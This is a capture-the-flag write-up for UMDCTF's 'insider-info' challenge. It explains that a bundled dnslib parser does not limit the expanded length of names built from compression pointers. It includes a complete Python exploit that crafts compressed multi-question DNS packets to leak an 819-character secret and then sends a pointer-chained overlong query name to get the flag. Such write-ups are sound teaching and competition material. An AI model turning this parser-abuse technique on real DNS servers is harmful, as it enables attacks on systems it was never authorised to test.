insider-info
umdctf
Task: a wrapper forwards exactly two TCP-supplied DNS packets to a local UDP DNS server, where TXT queries leak one character of an 819-byte secret and the full secret subdomain returns the flag. Solution: craft compressed multi-question DNS packets to dump all secret characters in one request, then build a chained-pointer qname that expands past the usual DNS length limit and triggers the flag response.
$ ls tags/ techniques/
insider-info — UMDCTF
Description
No organizer description was included in the provided workspace files.
English summary: the service accepts exactly two length-prefixed DNS packets over TCP and forwards them to a local UDP resolver. TXT requests for <index>.inside.info reveal one character of a hidden 819-character secret, and querying the full secret as a subdomain of inside.info returns the flag.
Analysis
Reading dns_server.py reveals the core behavior:
- the wrapper reads exactly two packets from stdin/TCP,
- each packet is forwarded to a local UDP DNS server,
- a random secret of length
819is generated, - the secret is split into
13labels of length63, N.inside.info TXTreturnssecret[N],full_secret.inside.info TXTreturns the flag.
The intended blocker is DNS name length. A normal domain name is limited to 253 bytes, so the final 819-character subdomain cannot be encoded directly. However, the bundled dnslib parser only checks per-label length during decoding; decode_name() follows compression pointers without enforcing the total expanded qname length.
That gives two useful ideas:
- Leak the whole secret in one request by placing
819TXT questions into a single DNS packet. - Use a second packet whose qnames are chained with compression pointers so the final expanded name becomes the full 13-label secret plus
.inside.info.
The first packet also needs compression. A naive request with 819 full qnames is too large for the UDP receive path (recv(8192)). Reusing the repeated .inside.info suffix with DNS pointers shrinks the request to about 8103 bytes, which fits.
Solution
- Send one DNS request containing 819 TXT questions.
- Encode
0.inside.infonormally. - For questions
1..818, encode only the decimal index label and then a compression pointer to the shared.inside.infosuffix. - Parse the response and reconstruct the 819-character secret from all TXT answers.
- Split that secret into 13 labels of 63 characters each.
- Build a second DNS request with 13 questions in reverse order.
- Encode the last label with the literal suffix
inside.info. - Encode every previous label followed by a pointer to the next qname, so the final expanded qname becomes the entire secret subdomain.
- Because
dnslib.decode_name()does not enforce total expanded name length, the server accepts the overlong reconstructed name. - The response contains the TXT record with the flag.
#!/usr/bin/env python3 import socket import struct from dnslib import DNSRecord HOST = "challs.umdctf.io" PORT = 32323 QTYPE_TXT = 16 QCLASS_IN = 1 SECRET_LEN = 819 def recv_exact(sock, n): data = bytearray() while len(data) < n: chunk = sock.recv(n - len(data)) if not chunk: raise EOFError(f"expected {n} bytes, got {len(data)}") data.extend(chunk) return bytes(data) def exchange(sock, packet): sock.sendall(len(packet).to_bytes(2, "big") + packet) size = int.from_bytes(recv_exact(sock, 2), "big") return recv_exact(sock, size) def encode_name(name): out = bytearray() for label in name.rstrip(".").split("."): raw = label.encode() out.append(len(raw)) out.extend(raw) out.append(0) return bytes(out) def pointer(offset): return struct.pack("!H", 0xC000 | offset) def build_leak_packet(): packet = bytearray(struct.pack("!HHHHHH", 0x1337, 0x0100, SECRET_LEN, 0, 0, 0)) first_qname_offset = len(packet) packet.extend(encode_name("0.inside.info")) packet.extend(struct.pack("!HH", QTYPE_TXT, QCLASS_IN)) inside_info_offset = first_qname_offset + 2 for i in range(1, SECRET_LEN): label = str(i).encode() packet.append(len(label)) packet.extend(label) packet.extend(pointer(inside_info_offset)) packet.extend(struct.pack("!HH", QTYPE_TXT, QCLASS_IN)) return bytes(packet) def recover_secret(response): record = DNSRecord.parse(response) secret = [None] * SECRET_LEN for rr in record.rr: idx = int(rr.rname.label[0].decode()) secret[idx] = rr.rdata.data[0].decode() if any(ch is None for ch in secret): raise ValueError("incomplete secret recovery") return "".join(secret) def build_flag_packet(secret): labels = [secret[i:i + 63] for i in range(0, SECRET_LEN, 63)] packet = bytearray(struct.pack("!HHHHHH", 0x1338, 0x0100, len(labels), 0, 0, 0)) offsets = {} for idx in range(len(labels) - 1, -1, -1): offsets[idx] = len(packet) label = labels[idx].encode() packet.append(len(label)) packet.extend(label) if idx == len(labels) - 1: packet.extend(encode_name("inside.info")) else: packet.extend(pointer(offsets[idx + 1])) packet.extend(struct.pack("!HH", QTYPE_TXT, QCLASS_IN)) return bytes(packet) def extract_flag(response): record = DNSRecord.parse(response) for rr in record.rr: text = rr.rdata.data[0].decode() if "{" in text and "}" in text: return text raise ValueError("flag not found") def main(): with socket.create_connection((HOST, PORT)) as sock: secret = recover_secret(exchange(sock, build_leak_packet())) flag = extract_flag(exchange(sock, build_flag_packet(secret))) print(flag) if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [network][free]offknock— umdctf
- [network][free]security-breach— umdctf
- [network][free]security-breach-ruin— umdctf
- [forensics][Pro]Сверхсекретный Шпион— duckerz
- [misc][free]rag-poisoning— umdctf